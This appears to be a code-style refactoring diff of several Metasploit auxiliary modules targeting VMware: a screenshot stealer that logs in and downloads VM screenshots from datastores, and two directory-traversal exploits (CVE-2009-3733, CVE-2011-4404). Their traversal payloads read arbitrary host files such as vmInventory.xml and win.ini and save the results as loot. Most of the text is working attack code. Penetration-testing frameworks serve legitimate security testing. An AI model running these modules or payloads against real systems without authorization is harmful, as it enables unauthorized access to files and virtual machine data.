:data => {'os.vendor' => 'VMware', 'os.product' => os_match[1] + " " + ver_match[1], 'os.version' => build_match[1] }
host: rhost,
ntype: 'fingerprint.match',
data: { 'os.vendor' => 'VMware', 'os.product' => os_match[1] + ' ' + ver_match[1], 'os.version' => build_match[1] }
)
return true
end
@@ -11,29 +11,30 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'VMWare Screenshot Stealer',
'Description' => %Q{
This module uses supplied login credentials to connect to VMWare via
the web interface. It then searches through the datastores looking for screenshots.
'Name' => 'VMware Screenshot Stealer',
'Description' => %(
This module uses supplied login credentials to connect to VMware via the
web interface and searches through the datastores looking for screenshots.
It will download any screenshots it finds and save them as loot.
},
'Author' => ['theLightCosine'],
'License' => MSF_LICENSE
),
'Author' => ['theLightCosine'],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(443),
OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ])
])
OptString.new('USERNAME', [ true, 'The username to Authenticate with.', 'root' ]),
OptString.new('PASSWORD', [ true, 'The password to Authenticate with.', 'password' ])
]
)
register_advanced_options([OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', true]),])
end
def run_host(ip)
if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success
@user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])
@user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ':' + datastore['PASSWORD'])
crawl_page('/folder')
else
print_error "Login Failure on #{ip}"
@@ -41,59 +42,58 @@ class MetasploitModule < Msf::Auxiliary
end
end
def crawl_page(path, parent='')
def crawl_page(path, parent = '')
res = send_request_cgi({
'uri' => path,
'method' => 'GET',
'cookie' => @vim_cookie,
'headers' => { 'Authorization' => "Basic #{@user_pass}"}
'uri' => path,
'method' => 'GET',
'cookie' => @vim_cookie,
'headers' => { 'Authorization' => "Basic #{@user_pass}" }
}, 25)
if res
@vim_cookie = res.get_cookies
if res.code== 200
res.body.scan(/<a href="([\w\/\?=&;%]+)">/) do |match|
link = match[0]
link.gsub!('&amp;', '&')
case link
when /%2epng?/
img_name = Rex::Text::uri_decode(link.match(/\/([\w\?=&;%]+%2epng)/)[1])
print_good "Screenshot Found: #{img_name} Full Path: #{link}"
grab_screenshot(link, img_name)
when /%2e(?!png)/
next
when parent
next
else
crawl_page(link, path)
end
return unless res
@vim_cookie = res.get_cookies
if res.code == 200
res.body.scan(%r{<a href="([\w/?=&;%]+)">}) do |match|
link = match[0]
link.gsub!('&amp;', '&')
case link
when /%2epng?/
img_name = Rex::Text.uri_decode(link.match(%r{/([\w?=&;%]+%2epng)})[1])
print_good "Screenshot Found: #{img_name} Full Path: #{link}"
grab_screenshot(link, img_name)
when /%2e(?!png)/
next
when parent
next
else
crawl_page(link, path)
end
elsif res.code == 401
print_error "Authorization Failure for: #{path}"
end
elsif res.code == 401
print_error("Authorization failure for: #{path}")
end
end
def grab_screenshot(path, name)
res = send_request_cgi({
'uri' => path,
'method' => 'GET',
'cookie' => @vim_cookie,
'headers' => { 'Authorization' => "Basic #{@user_pass}"}
'uri' => path,
'method' => 'GET',
'cookie' => @vim_cookie,
'headers' => { 'Authorization' => "Basic #{@user_pass}" }
}, 25)
if res
@vim_cookie = res.get_cookies
if res.code == 200
img = res.body
ss_path = store_loot("host.vmware.screenshot", "image/png", datastore['RHOST'], img, name , "Screenshot of VM #{name}")
print_good "Screenshot saved to #{ss_path}"
else
print_error "Failed to retrieve screenshot at #{path} HTTP Response code #{res.code} "
end
else
print_error "Failed to retrieve screenshot: there was no reply"
end
unless res
print_error('Failed to retrieve screenshot: there was no reply')
return
end
@vim_cookie = res.get_cookies
if res.code == 200
img = res.body
ss_path = store_loot('host.vmware.screenshot', 'image/png', datastore['RHOST'], img, name, "Screenshot of VM #{name}")
print_good("Screenshot saved to #{ss_path}")
else
print_error("Failed to retrieve screenshot at #{path} HTTP Response code #{res.code}")
end
end
end
@@ -13,69 +13,72 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'VMware Server Directory Traversal Vulnerability',
'Name' => 'VMware Server Directory Traversal Vulnerability',
'Description' => 'This modules exploits the VMware Server Directory Traversal
vulnerability in VMware Server 1.x before 1.0.10 build 203137 and 2.x before
2.0.2 build 203138 on Linux, VMware ESXi 3.5, and VMware ESX 3.0.3 and 3.5
allows remote attackers to read arbitrary files. Common VMware server ports
80/8222 and 443/8333 SSL. If you want to download the entire VM, check out
the gueststealer tool.',
'Author' => 'CG' ,
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2009-0015.html' ],
[ 'OSVDB', '59440' ],
[ 'BID', '36842' ],
[ 'CVE', '2009-3733' ],
[ 'URL', 'http://fyrmassociates.com/tools/gueststealer-v1.1.pl' ]
]
'Author' => 'CG',
'License' => MSF_LICENSE,
'References' => [
[ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2009-0015.html' ],
[ 'OSVDB', '59440' ],
[ 'BID', '36842' ],
[ 'CVE', '2009-3733' ],
[ 'URL', 'http://fyrmassociates.com/tools/gueststealer-v1.1.pl' ]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
register_options(
[
Opt::RPORT(8222),
OptString.new('FILE', [ true, "The file to view", '/etc/vmware/hostd/vmInventory.xml']),
OptString.new('TRAV', [ true, "Traversal Depth", '/sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E']),
])
OptString.new('FILE', [ true, 'The file to view', '/etc/vmware/hostd/vmInventory.xml']),
OptString.new('TRAV', [ true, 'Traversal Depth', '/sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E']),
]
)
end
def run_host(target_host)
file = datastore['FILE']
trav = datastore['TRAV']
res = send_request_raw({
'uri' => trav + file,
'version' => '1.1',
'method' => 'GET'
}, 25)
begin
file = datastore['FILE']
trav = datastore['TRAV']
res = send_request_raw({
'uri' => trav+file,
'version' => '1.1',
'method' => 'GET'
}, 25)
if res.nil?
print_error("Connection timed out")
return
end
if res.code == 200
#print_status("Output Of Requested File:\n#{res.body}")
print_good("#{target_host}:#{rport} appears vulnerable to VMWare Directory Traversal Vulnerability")
report_vuln(
{
:host => target_host,
:port => rport,
:proto => 'tcp',
:name => self.name,
:info => "Module #{self.fullname} reports directory traversal of #{target_host}:#{rport} with response code #{res.code}",
:refs => self.references,
:exploited_at => Time.now.utc
}
)
else
vprint_status("Received #{res.code} for #{trav}#{file}")
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
print_error(e.message)
rescue ::Timeout::Error, ::Errno::EPIPE
if res.nil?
print_error('Connection timed out')
return
end
if res.code != 200
vprint_status("Received #{res.code} for #{trav}#{file}")
return
end
# print_status("Output Of Requested File:\n#{res.body}")
print_good("#{target_host}:#{rport} appears vulnerable to VMware Directory Traversal Vulnerability")
report_vuln(
{
host: target_host,
port: rport,
proto: 'tcp',
name: name,
info: "Module #{fullname} reports directory traversal of #{target_host}:#{rport} with response code #{res.code}",
refs: references,
exploited_at: Time.now.utc
}
)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
print_error(e.message)
rescue ::Timeout::Error, ::Errno::EPIPE => e
vprint_error(e.message)
end
end
@@ -8,51 +8,59 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info={})
super(update_info(info,
'Name' => "VMWare Update Manager 4 Directory Traversal",
'Description' => %q{
This modules exploits a directory traversal vulnerability in VMWare Update Manager
on port 9084. Versions affected by this vulnerability: vCenter Update Manager
4.1 prior to Update 2, vCenter Update Manager 4 Update 4.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Alexey Sintsov', #Initial discovery, poc
'sinn3r' #Metasploit
def initialize(info = {})
super(
update_info(
info,
'Name' => 'VMware Update Manager 4 Directory Traversal',
'Description' => %q{
This modules exploits a directory traversal vulnerability in VMware Update Manager
on port 9084. Versions affected by this vulnerability: vCenter Update Manager
4.1 prior to Update 2, vCenter Update Manager 4 Update 4.
},
'License' => MSF_LICENSE,
'Author' => [
'Alexey Sintsov', # Initial discovery, poc
'sinn3r' # Metasploit
],
'References' =>
[
'References' => [
['CVE', '2011-4404'],
['EDB', '18138'],
['URL', 'https://www.vmware.com/security/advisories/VMSA-2011-0014.html'],
['URL', 'http://dsecrg.com/pages/vul/show.php?id=342']
],
'DisclosureDate' => '2011-11-21'))
'DisclosureDate' => '2011-11-21',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options(
[
Opt::RPORT(9084),
OptString.new('URIPATH', [true, 'URI path to the downloads', '/vci/downloads/']),
OptString.new('FILE', [true, 'Define the remote file to download', 'windows\\win.ini'])
])
]
)
end
def run_host(ip)
fname = File.basename(datastore['FILE'])
traversal = ".\\..\\..\\..\\..\\..\\..\\..\\"
fname = File.basename(datastore['FILE'])
traversal = '.\\..\\..\\..\\..\\..\\..\\..\\'
uri = normalize_uri(datastore['URIPATH']) + traversal + datastore['FILE']
print_status("#{rhost}:#{rport} - Requesting: #{uri}")
res = send_request_raw({
'method' => 'GET',
'uri' => uri
'uri' => uri
}, 25)
# If there's no response, don't bother
if res.nil? or res.body.empty?
if res.nil? || res.body.empty?
print_error("No content retrieved from: #{ip}")
return
end
@@ -60,10 +68,10 @@ class MetasploitModule < Msf::Auxiliary
if res.code == 404
print_error("#{rhost}:#{rport} - File not found")
return
else
print_good("File retrieved from: #{ip}")
p = store_loot("vmware.traversal.file", "application/octet-stream", rhost, res.to_s, fname)
print_good("File stored in: #{p}")
end
print_good("File retrieved from: #{ip}")
p = store_loot('vmware.traversal.file', 'application/octet-stream', rhost, res.to_s, fname)
print_good("File stored in: #{p}")
end
end